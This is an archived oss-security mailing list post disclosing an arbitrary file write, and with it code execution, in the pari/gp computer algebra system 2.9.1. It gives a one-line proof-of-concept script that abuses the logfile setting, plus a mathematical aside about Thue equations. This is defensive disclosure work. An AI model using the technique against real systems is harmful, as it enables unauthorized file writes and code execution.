Date: Mon, 1 Jul 2019 10:32:17 +0300 From: Georgi Guninski <gguninski@...il.com> To: oss-security <oss-security@...ts.openwall.com> Subject: pari/gp arbitrary file write pari/gp is CAS (computer algebra system). pari/gp version 2.9.1 on debian stretch allows arbitrary file write and hence arbitrary code execution. poc: ======== \\ a.gp \\ to run: \r a.gp default("logfile","/tmp/a.txt");default("log",1);print("log(1)"); ======== Of mathematical interest is pari was missing solutions to Thue equations when assuming GRH (the fix changed polynomial bound to exponential bound): http://pari.math.u-bordeaux.fr/archives/pari-dev-1207/msg00000.html t=thue(thueinit(x^3+92*x+1,0),3^3);t -- joro http://www.guninski.com https://j.ludost.net/resumegg.pdf
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.